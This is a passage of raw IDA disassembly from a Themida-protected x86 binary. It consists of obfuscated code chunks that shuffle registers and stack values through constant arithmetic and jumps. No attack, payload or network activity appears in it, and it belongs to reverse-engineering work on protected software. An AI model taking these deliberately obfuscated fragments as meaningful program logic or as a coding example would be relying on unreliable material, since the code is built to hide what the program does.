; ---------------------------------------------------------------------------
loc_56AC3E: ; CODE XREF: sub_56755A+719Dj
sub ebp, 232F95C8h
xor eax, ebp
pop ebp
add edx, eax
pop eax
push 7A08h
jmp loc_56B080
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_56AC54: ; CODE XREF: Themida_:0056CC90j
pop esi
pop ebp
mov esi, [esp]
add esp, 4
sub esp, 4
jmp loc_55EF9A
; ---------------------------------------------------------------------------
loc_56AC67: ; CODE XREF: Themida_:00560A67j
add ecx, 6B92223Eh
push edi
mov edi, 1FDC16C5h
add edi, 17695331h
add ecx, edi
pop edi
jmp loc_55E74B
; =============== S U B R O U T I N E =======================================
sub_56AC81 proc near ; CODE XREF: sub_56755A-1106j
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 00561C7F SIZE 00000028 BYTES
; FUNCTION CHUNK AT 00563E9E SIZE 0000001B BYTES
; FUNCTION CHUNK AT 005640C5 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0056E9E5 SIZE 00000006 BYTES
sub esp, 4
mov [esp+4+var_4], edi
push dword ptr [esp+4]
mov edi, [esp+8+var_8]
push ebp
mov ebp, esp
add ebp, 4
push eax
jmp loc_561C7F
sub_56AC81 endp
; ---------------------------------------------------------------------------
loc_56AC9D: ; CODE XREF: Themida_:00564DEBj
pop esi
push 2B4Bh
mov [esp], eax
mov eax, esp
add eax, 4
add eax, 4
xchg eax, [esp]
pop esp
jmp loc_55D9E5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56E89A
loc_56ACB9: ; CODE XREF: sub_56E89A-DA2Ej
or ebx, ebx
jnz loc_55CAC5
push ecx
mov ecx, esp
jmp loc_562337
; END OF FUNCTION CHUNK FOR sub_56E89A
; ---------------------------------------------------------------------------
loc_56ACC9: ; CODE XREF: Themida_:00565176j
add esp, 4
push 4C54h
mov [esp], eax
push esp
jmp loc_55C2DE
; ---------------------------------------------------------------------------
loc_56ACDD: ; CODE XREF: Themida_:00566305j
pop ebx
jmp loc_562DB4
; ---------------------------------------------------------------------------
loc_56ACE3: ; CODE XREF: Themida_:0055F6EFj
push ebp
push 6100h
mov [esp], esp
add dword ptr [esp], 4
mov ebp, [esp]
add esp, 4
push ecx
mov ecx, 4
sub ebp, 2FE62A60h
add ebp, ecx
add ebp, 2FE62A60h
jmp loc_561702
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56AD0F: ; CODE XREF: sub_56755A+5CD9j
push 68E3h
mov [esp+28h+var_28], edi
jmp loc_55D271
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_56AD1C: ; CODE XREF: Themida_:00566FE1j
pop esi
add ebx, 4
sub esp, 4
mov [esp], ebx
push dword ptr [esp+4]
push dword ptr [esp]
pop ebx
add esp, 4
pop dword ptr [esp]
mov esp, [esp]
bt [esp], eax
pushf
jmp loc_55B555
; ---------------------------------------------------------------------------
loc_56AD44: ; CODE XREF: Themida_:0055D851j
mov eax, esp
push 7EDBh
mov [esp], esi
jmp loc_55D007
; ---------------------------------------------------------------------------
loc_56AD53: ; CODE XREF: Themida_:00564490j
mov ebp, 0E03A4CB3h
xor ebx, ebp
mov ebp, [esp]
add esp, 4
push ebp
jmp loc_55B919
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56AD66: ; CODE XREF: sub_56755A-AE92j
add esp, 4
shr edi, 6
add edi, 0FE7EE9E4h
and eax, edi
push [esp+1Ah+var_1C+2]
jmp loc_566215
; ---------------------------------------------------------------------------
loc_56AD7F: ; CODE XREF: sub_56755A-AF03j
add ebp, 4
push edx
push edi
mov edi, esp
jmp loc_5689B7
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55FDEF
loc_56AD8E: ; CODE XREF: sub_55FDEF-1516j
add ebx, edx
pop edx
add ebx, eax
sub ebx, 3026742h
push eax
sub esp, 4
mov [esp+0Ch+var_C], ecx
jmp loc_560D1D
; END OF FUNCTION CHUNK FOR sub_55FDEF
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56ADA5: ; CODE XREF: sub_56755A-33C0j
mov [esp+12h+var_14+2], ebx
jmp loc_56C137
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_56ADAD: ; CODE XREF: Themida_:005700B2j
pop ebx
xor bl, ah
pop eax
push edx
jmp loc_56DA4F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56F7FC
loc_56ADB7: ; CODE XREF: sub_56F7FC-4418j
add ebp, 4
xor ebp, [esp-8+arg_4]
xor [esp-8+arg_4], ebp
xor ebp, [esp-8+arg_4]
jmp loc_563FF4
; END OF FUNCTION CHUNK FOR sub_56F7FC
; ---------------------------------------------------------------------------
loc_56ADC8: ; CODE XREF: Themida_:0055D346j
sub eax, 2E900F9h
sub edx, eax
push dword ptr [esp]
mov eax, [esp]
jmp loc_56C967
; =============== S U B R O U T I N E =======================================
sub_56ADDA proc near ; CODE XREF: sub_5607D3+6C59j
; FUNCTION CHUNK AT 005672F1 SIZE 0000000D BYTES
push ebx
jmp loc_5672F1
sub_56ADDA endp
; ---------------------------------------------------------------------------
loc_56ADE0: ; CODE XREF: Themida_:00565BE0j
pop edi
push 669Eh
mov [esp], ebx
push dword ptr [esp+4]
push dword ptr [esp]
mov ebx, [esp]
push ecx
jmp loc_57032E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56ADF9: ; CODE XREF: sub_56755A-6784j
mov [esp+0Ch+var_C], ebp
not [esp+0Ch+var_C]
mov ebp, [esp+0Ch+var_C]
add esp, 4
shr ebp, 1
push eax
mov eax, 597B3BF9h
push eax
inc [esp+10h+var_10]
pop eax
dec eax
xor eax, 77947D9Ah
xchg eax, edi
push edi
not [esp+10h+var_10]
jmp loc_5612D5
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_56AE25: ; CODE XREF: Themida_:0055DE32j
movzx cx, al
push cx
pushf
jmp loc_55B555
; ---------------------------------------------------------------------------
loc_56AE31: ; CODE XREF: Themida_:00562FEFj
sub ebp, 57162B97h
add ebp, esi
add ebp, 57162B97h
push dword ptr [esp]
pop esi
add esp, 4
add ebp, edx
push 7575h
mov [esp], ebx
mov ebx, 7F603909h
jmp loc_566652
; ---------------------------------------------------------------------------
movzx ax, byte ptr fs:[edx]
jmp loc_5636F7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56AE64: ; CODE XREF: sub_56755A-8116j
add cl, 0Ah
jmp loc_5647D0
; END OF FUNCTION CHUNK FOR sub_56755A
; =============== S U B R O U T I N E =======================================
sub_56AE6C proc near ; CODE XREF: sub_56755A+573Dj
var_8 = dword ptr -8
; FUNCTION CHUNK AT 0056B8D5 SIZE 00000010 BYTES
push ebx
jmp loc_56B8D5
sub_56AE6C endp
; =============== S U B R O U T I N E =======================================
sub_56AE72 proc near ; CODE XREF: sub_56755A+6563j
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 0055BE21 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0055E401 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 00566332 SIZE 00000030 BYTES
; FUNCTION CHUNK AT 005668FA SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00567122 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056D3C3 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0056DE9D SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0056F923 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0056FE06 SIZE 0000000C BYTES
push ebx
mov ebx, 4
jmp loc_567122
sub_56AE72 endp
; ---------------------------------------------------------------------------
loc_56AE7D: ; CODE XREF: Themida_:0055D05Ej
mov edx, esp
sub esp, 4
jmp loc_55EA56
; ---------------------------------------------------------------------------
loc_56AE87: ; CODE XREF: Themida_:0056DA13j
add ecx, edi
sub ecx, 275F0893h
jmp loc_560ACF
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56AE94: ; CODE XREF: sub_56755A-51CCj
add edx, ecx
pop ecx
neg edx
xor edx, 0C0247A1h
and edi, edx
jmp loc_563E1A
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_566C65
loc_56AEA6: ; CODE XREF: sub_566C65-24E2j
jmp loc_55B555
; END OF FUNCTION CHUNK FOR sub_566C65
; ---------------------------------------------------------------------------
loc_56AEAB: ; CODE XREF: Themida_:005628D1j
shr edi, 1
add edi, 13517F8Ah
jmp loc_563255
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56AEB8: ; CODE XREF: sub_56755A+8533j
mov esi, 50BA6AD1h
mov eax, 73753590h
add eax, esi
jmp loc_56E69B
; ---------------------------------------------------------------------------
loc_56AEC9: ; CODE XREF: sub_56755A+198j
pop eax
jmp loc_5685CF
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_56AECF: ; CODE XREF: Themida_:0056F444j
push 2347h
mov [esp], ebx
jmp loc_56D36F
; ---------------------------------------------------------------------------
loc_56AEDC: ; CODE XREF: Themida_:005629FFj
mov ebp, ebx
pop ebx
push ebp
push edx
mov edx, 3A0505ABh
jmp loc_56B7B5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56AEEB: ; CODE XREF: sub_56755A+64A8j
push edi
mov edi, 339B4FFFh
xor esi, edi
mov edi, [esp+1Ah+var_1C+2]
add esp, 4
push esi
sub esp, 4
mov [esp+1Eh+var_20+2], ebx
mov esi, [esp+1Eh+var_20+2]
add esp, 4
mov ebx, [esp+1Ah+var_1C+2]
add esp, 4
add ebx, 1
xchg ebx, esi
xor esi, 20CB15CFh
sub esi, 2969591Fh
add ebx, esi
pop esi
jmp loc_5639D6
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5706E9
loc_56AF28: ; CODE XREF: sub_5706E9-C9CEj
add ebx, 2
xchg ebx, [esp+0]
mov esp, [esp+0]
mov fs:[edx], ax
jmp loc_55B555
; END OF FUNCTION CHUNK FOR sub_5706E9
; ---------------------------------------------------------------------------
loc_56AF3A: ; CODE XREF: Themida_:0055B920j
add esp, 4
pop ebx
jmp loc_5614C2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_560483
loc_56AF46: ; CODE XREF: sub_560483+Dj
dec ebx
push esi
mov esi, 52FF689Ah
neg esi
neg esi
dec esi
sub esi, 534747C0h
jmp loc_56287E
; END OF FUNCTION CHUNK FOR sub_560483
; ---------------------------------------------------------------------------
loc_56AF5D: ; CODE XREF: Themida_:0056C690j
xor ebp, [esp]
pop esp
push edi
push dword ptr [esp+4]
pop edi
pop dword ptr [esp]
mov esp, [esp]
btc [esp], ax
pushf
jmp loc_55B555
; ---------------------------------------------------------------------------
loc_56AF78: ; CODE XREF: Themida_:00562F4Bj
pop esp
pop esi
or [edi+1Ch], ebp
jmp loc_5656B1
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56AF82: ; CODE XREF: sub_56755A+3C8Aj
pop esp
jmp loc_55B555
; ---------------------------------------------------------------------------
loc_56AF88: ; CODE XREF: sub_56755A+45BAj
push [esp+0Eh+var_10+2]
pop eax
push edi
jmp sub_565996
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_56AF92: ; CODE XREF: Themida_:00569FBEj
push eax
push esp
pop eax
push ecx
mov ecx, 4A1B7BF0h
sub ecx, 4B524693h
or ecx, 217F6235h
push edi
mov edi, 71627222h
jmp loc_5606EC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56AFB2: ; CODE XREF: sub_56755A-7AC8j
pop ecx
push eax
mov eax, esp
add eax, 4
add eax, 4
jmp loc_56B196
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_56AFC3: ; CODE XREF: Themida_:0056E5D8j
push 6F3A3810h
pop ebp
shl ebp, 2
shl ebp, 2
jmp loc_56DD2A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56AFD4: ; CODE XREF: sub_56755A-35EEj
mov ebp, 67D4385h
sub ebp, 58762C5Ah
add ebp, 1604397h
or ebp, 67C1360Eh
jmp loc_5645AE
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_56AFF0: ; CODE XREF: Themida_:0056FB5Cj
push 30C846AFh
pop ebp
push ebp
inc dword ptr [esp]
pop ebp
push eax
push edi
push 50B34658h
pop edi
jmp loc_56554B
; ---------------------------------------------------------------------------
loc_56B008: ; CODE XREF: Themida_:0056E3B6j
xor eax, 95C3C7E7h
sub ebp, 4C049CEh
sub ebp, eax
add ebp, 4C049CEh
pop eax
jmp loc_56C1B4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55FDEF
loc_56B021: ; CODE XREF: sub_55FDEF+2B14j
add eax, 4
jmp loc_568960
; END OF FUNCTION CHUNK FOR sub_55FDEF
; ---------------------------------------------------------------------------
loc_56B029: ; CODE XREF: Themida_:0056282Cj
mov ebp, 0F1290833h
add ebp, eax
pop eax
neg ebp
push ebx
mov ebx, 27034894h
inc ebx
jmp loc_564A7D
; ---------------------------------------------------------------------------
loc_56B03F: ; CODE XREF: Themida_:0056E4A0j
pop edx
add ecx, edi
add ecx, 22B074D4h
pop edi
push edx
mov edx, 585B375Bh
push ecx
push ebx
mov ebx, 6B7600B8h
jmp loc_56B741
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56B05B: ; CODE XREF: sub_56755A-46B7j
pop esp
pop [esp+0Ch+var_C]
pop esp
shr ecx, 2
jmp loc_57078E
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_56B068: ; CODE XREF: Themida_:0055FEC6j
add ebp, 864B2C98h
push ebp
push edi
mov edi, 3E223EF2h
sub [esp+4], edi
pop edi
pop esi
jmp loc_5655FF
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56B080: ; CODE XREF: sub_56755A+36F5j
mov [esp+24h+var_24], esi
mov esi, 4
jmp loc_55E193
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_56B08D: ; CODE XREF: Themida_:0056DE1Bj
sub eax, ebx
pop ebx
push eax
jmp loc_55E106
; ---------------------------------------------------------------------------
loc_56B096: ; CODE XREF: Themida_:0055F7A8j
shl ebp, 4
push edi
push edx
mov edx, 0A322A77h
jmp loc_5658E6
; ---------------------------------------------------------------------------
loc_56B0A5: ; CODE XREF: Themida_:0055C8EBj
mov ecx, esp
add ecx, 4
push edx
mov edx, 4
sub ecx, edx
pop edx
xchg ecx, [esp]
mov esp, [esp]
mov [esp], ebp
sub esp, 4
mov [esp], ecx
push edx
jmp loc_5669A0
; ---------------------------------------------------------------------------
loc_56B0CE: ; CODE XREF: Themida_:005658D9j
push esp
mov ecx, [esp]
add esp, 4
add ecx, 4
sub ecx, 4
push ecx
push dword ptr [esp+4]
pop ecx
jmp loc_55C92D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56B0EF: ; CODE XREF: sub_56755A-E2j
push [esp+10h+var_10]
jmp loc_569EA7
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5600E2
loc_56B0F7: ; CODE XREF: sub_5600E2+2910j
and eax, ebx
mov ebx, [esp+4+var_4]
add esp, 4
jmp loc_5680C3
; END OF FUNCTION CHUNK FOR sub_5600E2
; ---------------------------------------------------------------------------
loc_56B104: ; CODE XREF: Themida_:0055EE45j
push esi
jmp loc_56E84A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_562F50
loc_56B10A: ; CODE XREF: sub_562F50+C855j
mov ecx, 4
add eax, ecx
pop ecx
push ebx
mov ebx, 4
add eax, ebx
pop ebx
xchg eax, [esp+0]
pop esp
push 2FD7h
jmp loc_55D9A6
; END OF FUNCTION CHUNK FOR sub_562F50
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56E55E
loc_56B129: ; CODE XREF: sub_56E55E-F619j
push [esp+8+var_8]
mov ebx, [esp+0Ch+var_C]
add esp, 4
add esp, 4
push esi
push 1850h
mov [esp+0Ch+var_C], esp
add [esp+0Ch+var_C], 4
pop esi
jmp loc_55DDF5
; END OF FUNCTION CHUNK FOR sub_56E55E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56E75E
loc_56B14B: ; CODE XREF: sub_56E75E-4EF6j
sub esi, 0F09180Dh
xor ebp, esi
pop esi
or ebp, 3C0624D1h
dec ebp
add ebp, 53D05F46h
and ebp, 475464F3h
xor ebp, 57905556h
sub esi, ebp
pop ebp
pop ebp
jmp loc_56EF94
; END OF FUNCTION CHUNK FOR sub_56E75E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56B176: ; CODE XREF: sub_56755A+80A9j
push dword ptr [edi+eax*4]
sub esp, 4
mov [esp+1Ch+var_1C], ecx
push ebx
mov ebx, 546F2E61h
push 73D1h
mov [esp+24h+var_24], edx
push ebp
jmp sub_56F7FC
; ---------------------------------------------------------------------------
loc_56B196: ; CODE XREF: sub_56755A+3A64j
xor eax, [esp-10h+arg_C]
xor [esp-10h+arg_C], eax
xor eax, [esp-10h+arg_C]
pop esp
push 2286h
mov [esp-10h+arg_C], ebx
mov bh, 0CEh
sub dl, bh
mov ebx, [esp-10h+arg_C]
add esp, 4
sub al, 0BBh
sub al, dl
jmp loc_5608BD
; ---------------------------------------------------------------------------
loc_56B1BE: ; CODE XREF: sub_56755A+18E3j
add edx, 965075Ch
add edx, ebx
jmp loc_56C695
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55CD7B
loc_56B1CB: ; CODE XREF: sub_55CD7B+12AE9j
push edx
jmp loc_56EA6F
; END OF FUNCTION CHUNK FOR sub_55CD7B
; ---------------------------------------------------------------------------
loc_56B1D1: ; CODE XREF: Themida_:00570081j
sub edi, 0CA01F8EFh
sub eax, edi
jmp loc_564050
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56B1DE: ; CODE XREF: sub_56755A-A967j
xor [esp+14h+var_14], esi
xor esi, [esp+14h+var_14]
jmp loc_56AF82
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_56B1E9: ; CODE XREF: Themida_:00564290j
pop edx
add ecx, ebp
push 394Ah
mov [esp], edx
mov edx, 7CF322D9h
add ecx, 9812D21h
add ecx, edx
jmp loc_566459
; ---------------------------------------------------------------------------
loc_56B206: ; CODE XREF: Themida_:00568E83j
add esp, 4
push esi
mov esi, 4
jmp loc_562908
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56EBD2
loc_56B214: ; CODE XREF: sub_56EBD2-FDF9j
mov edx, [esp+8+var_8]
push edi
mov edi, esp
add edi, 4
jmp loc_56DF33
; END OF FUNCTION CHUNK FOR sub_56EBD2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56B225: ; CODE XREF: sub_56755A-574Dj
push eax
mov al, 94h
and al, 5Ch
not al
sub al, 52h
jmp loc_560C6E
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
push dword ptr [esp]
mov eax, [esp]
add esp, 4
push edx
mov edx, esp
add edx, 4
sub edx, 4
jmp loc_56D971
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56B250: ; CODE XREF: sub_56755A+16j
pop eax
add ecx, 4
xor ecx, [esp+0Ch+var_C]
xor [esp+0Ch+var_C], ecx
jmp loc_56D039
; ---------------------------------------------------------------------------
loc_56B25F: ; CODE XREF: sub_56755A-35CCj
or bh, cl
pop ecx
push small 0
sub byte ptr [esp+6+var_8+2], bh
mov bh, byte ptr [esp+6+var_8+2]
add esp, 2
jmp loc_56749B
; END OF FUNCTION CHUNK FOR sub_56755A
; =============== S U B R O U T I N E =======================================
sub_56B274 proc near ; CODE XREF: sub_56755A-8BC3j
; FUNCTION CHUNK AT 00564D5C SIZE 00000021 BYTES
push ebp
mov ebp, 6C57472h
jmp loc_564D5C
sub_56B274 endp
; ---------------------------------------------------------------------------
loc_56B27F: ; CODE XREF: Themida_:0055CAAEj
jmp loc_55B555
; ---------------------------------------------------------------------------
loc_56B284: ; CODE XREF: Themida_:005604F9j
push ebx
push dword ptr [esp+4]
pop ebx
pop dword ptr [esp]
pop esp
push edx
mov dl, 81h
add dl, 55h
jmp loc_55D4D9
; ---------------------------------------------------------------------------
loc_56B299: ; CODE XREF: Themida_:0056FB3Fj
xor ebx, 0AD50CB23h
sub eax, ebx
pop ebx
mov ebx, [esp]
push edi
push esp
pop edi
jmp loc_5654D0
; ---------------------------------------------------------------------------
loc_56B2AD: ; CODE XREF: Themida_:0056EC7Dj
pop eax
pop ebx
pop ebp
jmp loc_55D8FA
; ---------------------------------------------------------------------------
loc_56B2B5: ; CODE XREF: Themida_:00561F76j
mov edx, [esp]
add esp, 4
jmp loc_5627A4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56B2C3: ; CODE XREF: sub_56755A-6C49j
push [esp+1Ch+var_1C]
pop edx
push 5E01h
mov [esp+20h+var_20], edx
jmp loc_56FD74
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56E89A
loc_56B2D4: ; CODE XREF: sub_56E89A-18A8j
mov ecx, ebp
pop ebp
add ecx, ebx
push edi
xor [esp+10h+var_10], 598322B0h
jmp loc_55C074
; END OF FUNCTION CHUNK FOR sub_56E89A
; ---------------------------------------------------------------------------
loc_56B2E6: ; CODE XREF: Themida_:0055DAD5j
mov ebp, 3CE060BAh
shr ebp, 7
shl ebp, 3
push 59D4h
mov [esp], edi
mov edi, 3CE060Ch
xor ebp, edi
pop edi
add eax, ebp
jmp loc_570427
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56B308: ; CODE XREF: sub_56755A-2F5Cj
mov eax, [esp+1Ah+var_1C+2]
jmp loc_56AAFD
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56F13C
loc_56B310: ; CODE XREF: sub_56F13C-6B16j
add ecx, 4
xchg ecx, [esp+4+var_4]
pop esp
xor ecx, ebp
jmp loc_565654
; END OF FUNCTION CHUNK FOR sub_56F13C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56B31E: ; CODE XREF: sub_56755A-54D2j
add ebx, 4
add ebx, 4
xchg ebx, [esp+14h+var_14]
pop esp
add ecx, edx
jmp loc_5704D7
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_56B335: ; CODE XREF: Themida_:0056E759j
add ebp, ecx
pop ecx
add ebp, ebx
jmp loc_55B58F
; ---------------------------------------------------------------------------
loc_56B33F: ; CODE XREF: Themida_:0056469Cj
sub edi, 4
xchg edi, [esp]
pop esp
mov [esp], ebx
sub esp, 4
mov [esp], esp
add dword ptr [esp], 4
pop ebx
jmp loc_55C8EA
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56B35C: ; CODE XREF: sub_56755A+2204j
add edi, eax
pop eax
xchg edi, [esp+24h+var_24]
pop esp
xor [esp+20h+var_1C], eax
mov eax, [esp+20h+var_20]
jmp loc_55B9BB
; ---------------------------------------------------------------------------
loc_56B36F: ; CODE XREF: sub_56755A-B9CDj
or dh, 8Ch
not dh
shl dh, 8
add dh, 70h
sub dh, 0C1h
jmp loc_55E07F
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56F653
loc_56B382: ; CODE XREF: sub_56F653-136Aj
shr ch, 5
sub ch, 18h
push edx
mov dl, 0D5h
push cx
mov cl, 0BAh
xor dl, cl
pop cx
sub dl, 1Eh
shr dl, 2
or dl, 4Ch
and dl, 19h
sub dl, 0DEh
push ebx
mov bl, 9Bh
or bl, 79h
shr bl, 5
or bl, 0ECh
xor bl, 86h
add dl, bl
pop ebx
jmp loc_56AA23
; END OF FUNCTION CHUNK FOR sub_56F653
; ---------------------------------------------------------------------------
loc_56B3B9: ; CODE XREF: Themida_:00563FC2j
or ecx, 0AFA4BDFh
sub ecx, 40C768BEh
jmp loc_56D69E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56F7FC
loc_56B3CA: ; CODE XREF: sub_56F7FC-B5D4j
pop ebp
and edx, esi
push [esp-10h+arg_C]
pop esi
push 1792h
mov [esp-0Ch+arg_8], ebp
mov ebp, esp
push ecx
mov ecx, 4
add ebp, ecx
pop ecx
jmp loc_56ADB7
; END OF FUNCTION CHUNK FOR sub_56F7FC
; ---------------------------------------------------------------------------
loc_56B3E9: ; CODE XREF: Themida_:0056D6DFj
mov [esp], edi
push 15ADh
jmp loc_5706A7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56B3F6: ; CODE XREF: sub_56755A+2B2Ej
sub [esp+0Ch+var_8], 5A2A4237h
push edx
mov edx, 28E73520h
add [esp+10h+var_8], edx
jmp loc_564584
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_56B40D: ; CODE XREF: Themida_:00565BA7j
push 55793F18h
pop esi
jmp loc_55B6F4
; ---------------------------------------------------------------------------
loc_56B418: ; CODE XREF: Themida_:00560BC4j
sub esp, 4
mov [esp], ecx
mov ecx, 45F14401h
jmp loc_56759B
; ---------------------------------------------------------------------------
mov ax, [esp]
push ebp
mov ebp, esp
push ecx
push ebp
mov ebp, 79DF49EAh
xor ebp, 3F2B1F26h
jmp loc_561E12
; =============== S U B R O U T I N E =======================================
sub_56B444 proc near ; CODE XREF: sub_55E54A+4E00j
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 00563733 SIZE 00000021 BYTES
push ebx
push dword ptr [esp+4]
pop ebx
pop [esp+4+var_4]
mov esp, [esp+0]
sub bl, 35h
jmp loc_563733
sub_56B444 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5643B1
loc_56B458: ; CODE XREF: sub_5643B1+95A6j
mov ecx, esi
pop esi
xor esi, ecx
pop ecx
pop ebx
pop edi
and [edi+1Ch], esi
mov esi, [esp+0]
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp+4+var_4]
pop esp
jmp loc_561912
; END OF FUNCTION CHUNK FOR sub_5643B1
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56B47E: ; CODE XREF: sub_56755A-B1E8j
add esp, 4
add esp, 4
mov eax, esi
push [esp-8+arg_4]
mov esi, [esp-4+arg_0]
add esp, 4
push ebx
mov ebx, esp
push esi
mov esi, 353430D3h
neg esi
shl esi, 6
jmp loc_56DEF5
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56CB7D
loc_56B4A5: ; CODE XREF: sub_56CB7D-61BCj
mov ecx, esp
add ecx, 4
push esi
jmp loc_5650AE
; END OF FUNCTION CHUNK FOR sub_56CB7D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56B4B3: ; CODE XREF: sub_56755A-997Dj
pop ebx
push ebp
mov ebp, 4CD40B34h
jmp loc_55C63C
; ---------------------------------------------------------------------------
loc_56B4BF: ; CODE XREF: sub_56755A-5BFFj
mov ecx, ebp
pop ebp
jmp loc_5677FF
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_56B4C7: ; CODE XREF: Themida_:0056BA85j
mov esi, [esp]
add esp, 4
add esp, 4
add ebp, edx
pop edx
add ebp, 4
push ebp
push dword ptr [esp+4]
pop ebp
pop dword ptr [esp]
jmp loc_565052
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56F7FC
loc_56B4E7: ; CODE XREF: sub_56F7FC-4006j
mov ecx, [esp-0Ch+arg_8]
add esp, 4
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xchg ecx, [esp-0Ch+arg_8]
pop esp
mov eax, [esp-10h+arg_C]
jmp loc_56CFF7
; END OF FUNCTION CHUNK FOR sub_56F7FC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56B508: ; CODE XREF: sub_56755A-269Ej
push edi
mov edi, 27637F00h
mov ebx, edi
jmp loc_564EFA
; ---------------------------------------------------------------------------
loc_56B515: ; CODE XREF: sub_56755A+D96j
sub eax, 30E228A4h
add eax, ecx
add eax, 30E228A4h
mov [eax], ebx
jmp loc_56A2F6
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_56B528: ; CODE XREF: Themida_:005644BCj
mov [esp], eax
